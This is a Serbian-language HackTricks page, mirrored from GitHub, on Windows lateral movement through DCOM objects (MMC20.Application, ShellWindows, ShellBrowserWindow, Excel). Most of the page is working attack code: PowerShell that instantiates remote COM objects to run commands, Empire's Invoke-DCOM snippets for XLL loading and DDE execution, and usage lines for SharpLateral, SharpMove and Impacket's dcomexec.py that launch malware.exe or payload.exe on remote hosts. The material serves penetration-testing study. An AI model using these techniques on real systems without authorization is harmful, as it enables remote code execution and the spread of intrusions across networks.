mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
121 lines
7.4 KiB
Markdown
121 lines
7.4 KiB
Markdown
# DCOM Exec
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## MMC20.Application
|
||
|
||
**Za više informacija o ovoj tehnici pogledajte originalni post sa [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||
|
||
Distributed Component Object Model (DCOM) objekti predstavljaju zanimljivu mogućnost za interakcije zasnovane na mreži sa objektima. Microsoft pruža sveobuhvatnu dokumentaciju za DCOM i Component Object Model (COM), dostupnu [ovde za DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) i [ovde za COM](<https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx>). Lista DCOM aplikacija može se dobiti korišćenjem PowerShell komande:
|
||
```bash
|
||
Get-CimInstance Win32_DCOMApplication
|
||
```
|
||
COM objekat, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), omogućava skriptovanje operacija MMC dodataka. Značajno, ovaj objekat sadrži `ExecuteShellCommand` metodu pod `Document.ActiveView`. Više informacija o ovoj metodi može se naći [ovde](<https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx>). Proverite kako radi:
|
||
|
||
Ova funkcija olakšava izvršavanje komandi preko mreže putem DCOM aplikacije. Da biste se povezali sa DCOM-om na daljinu kao administrator, PowerShell se može koristiti na sledeći način:
|
||
```bash
|
||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||
```
|
||
Ova komanda se povezuje sa DCOM aplikacijom i vraća instancu COM objekta. Zatim se može pozvati metoda ExecuteShellCommand da bi se izvršio proces na udaljenom hostu. Proces uključuje sledeće korake:
|
||
|
||
Check methods:
|
||
```bash
|
||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||
$com.Document.ActiveView | Get-Member
|
||
```
|
||
Dobijte RCE:
|
||
```bash
|
||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||
$com | Get-Member
|
||
|
||
# Then just run something like:
|
||
|
||
ls \\10.10.10.10\c$\Users
|
||
```
|
||
## ShellWindows & ShellBrowserWindow
|
||
|
||
**Za više informacija o ovoj tehnici pogledajte originalni post [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||
|
||
Objekat **MMC20.Application** je identifikovan kao onaj koji nema eksplicitne "LaunchPermissions", podrazumevajući dozvole koje omogućavaju pristup Administratorima. Za dalje detalje, nit se može istražiti [ovde](https://twitter.com/tiraniddo/status/817532039771525120), a preporučuje se korišćenje [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET za filtriranje objekata bez eksplicitne dozvole za pokretanje.
|
||
|
||
Dva specifična objekta, `ShellBrowserWindow` i `ShellWindows`, su istaknuta zbog nedostatka eksplicitnih dozvola za pokretanje. Odsustvo `LaunchPermission` registracione stavke pod `HKCR:\AppID\{guid}` označava da nema eksplicitnih dozvola.
|
||
|
||
### ShellWindows
|
||
|
||
Za `ShellWindows`, koji nema ProgID, .NET metode `Type.GetTypeFromCLSID` i `Activator.CreateInstance` olakšavaju instanciranje objekta koristeći njegov AppID. Ovaj proces koristi OleView .NET za preuzimanje CLSID-a za `ShellWindows`. Kada je instanciran, interakcija je moguća putem metode `WindowsShell.Item`, što dovodi do poziva metoda kao što je `Document.Application.ShellExecute`.
|
||
|
||
Primeri PowerShell komandi su dati za instanciranje objekta i izvršavanje komandi na daljinu:
|
||
```bash
|
||
# Example
|
||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
|
||
$obj = [System.Activator]::CreateInstance($com)
|
||
$item = $obj.Item()
|
||
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
|
||
|
||
# Need to upload the file to execute
|
||
$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100"))
|
||
$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7")
|
||
```
|
||
### Lateral Movement with Excel DCOM Objects
|
||
|
||
Lateral movement može se postići iskorišćavanjem DCOM Excel objekata. Za detaljne informacije, preporučuje se da pročitate diskusiju o korišćenju Excel DDE za lateralno kretanje putem DCOM na [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||
|
||
Empire projekat pruža PowerShell skriptu, koja demonstrira korišćenje Excela za daljinsko izvršavanje koda (RCE) manipulacijom DCOM objekata. Ispod su isječci iz skripte dostupne na [Empire's GitHub repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), koji prikazuju različite metode zloupotrebe Excela za RCE:
|
||
```bash
|
||
# Detection of Office version
|
||
elseif ($Method -Match "DetectOffice") {
|
||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||
$Obj = [System.Activator]::CreateInstance($Com)
|
||
$isx64 = [boolean]$obj.Application.ProductCode[21]
|
||
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
|
||
}
|
||
# Registration of an XLL
|
||
elseif ($Method -Match "RegisterXLL") {
|
||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||
$Obj = [System.Activator]::CreateInstance($Com)
|
||
$obj.Application.RegisterXLL("$DllPath")
|
||
}
|
||
# Execution of a command via Excel DDE
|
||
elseif ($Method -Match "ExcelDDE") {
|
||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||
$Obj = [System.Activator]::CreateInstance($Com)
|
||
$Obj.DisplayAlerts = $false
|
||
$Obj.DDEInitiate("cmd", "/c $Command")
|
||
}
|
||
```
|
||
### Automation Tools for Lateral Movement
|
||
|
||
Dva alata su istaknuta za automatizaciju ovih tehnika:
|
||
|
||
- **Invoke-DCOM.ps1**: PowerShell skripta koju pruža Empire projekat koja pojednostavljuje pozivanje različitih metoda za izvršavanje koda na udaljenim mašinama. Ova skripta je dostupna na Empire GitHub repozitorijumu.
|
||
|
||
- **SharpLateral**: Alat dizajniran za izvršavanje koda na daljinu, koji se može koristiti sa komandom:
|
||
```bash
|
||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||
```
|
||
- [SharpMove](https://github.com/0xthirteen/SharpMove):
|
||
```bash
|
||
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
|
||
```
|
||
## Automatski alati
|
||
|
||
- Powershell skripta [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) omogućava lako pozivanje svih komentisanih načina za izvršavanje koda na drugim mašinama.
|
||
- Možete koristiti Impacketov `dcomexec.py` za izvršavanje komandi na udaljenim sistemima koristeći DCOM.
|
||
```bash
|
||
dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"
|
||
```
|
||
- Takođe možete koristiti [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||
```bash
|
||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||
```
|
||
- Takođe možete koristiti [**SharpMove**](https://github.com/0xthirteen/SharpMove)
|
||
```bash
|
||
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
|
||
```
|
||
## Reference
|
||
|
||
- [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||
- [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|